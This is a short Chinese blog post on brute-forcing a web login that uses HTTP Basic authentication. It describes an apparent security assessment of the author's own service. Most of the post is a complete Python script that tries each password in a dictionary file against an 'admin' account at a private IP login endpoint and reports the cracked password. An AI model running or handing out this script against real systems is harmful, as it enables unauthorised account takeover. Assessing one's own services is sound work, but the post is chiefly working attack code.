Python暴力破解web登录
最近做项目,需要对一个Web服务分析其安全性,做安全加固。发现其web登录界面不限制密码输入次数,且没有验证码,就想到暴力破解web登录。
一、HTTP Basic认证
web应用可以通过表单提交用户名和密码,也可以通过Basic基本认证来提交,通过fiddler抓包分析,发现我要暴力破解的web登录是通过Basic基本认证来提交用户名和密码的。
Basic基本认证是把“username:passwd”做base64编码之后,放在http header的Authorization字段,实现认证登录。
二、暴力破解
暴力破解的思路很简单,就是一条一条尝试字典中地密码直到破解成功或者字典尝试完也没有破解成功。
python脚本提供了"HTTPBasicAuth"模块,让我们可以很方便的发送basic认证请求。完整的暴力破解代码如下:
import sys
import requests
import time
from requests.auth import HTTPBasicAuth
def Brute_Force_Web(username,password):
res=requests.get('http://192.168.1.113:8080/api/v1/login', auth=(username, password));
if res.status_code == 200:
print ("Crack Sucess!");
print ("password:"+password);
exit();
else:
print (res.status_code);
def GetPass():
fp = open("password.txt","r")
if fp == 0:
print ("open file error!")
return;
while 1:
line = fp.readline()
if not line:
break
passwd = line.strip('\n')
Brute_Force_Web("admin",passwd);
time.sleep(10)
GetPass();
(注意:由于Python 3和Python 2不兼容,请使用Python 3来测试上面的代码)
三、测试总结
测试过程中发现测试字典中一条密码的时间大概要10s左右,猜想可能是web服务的相应较慢。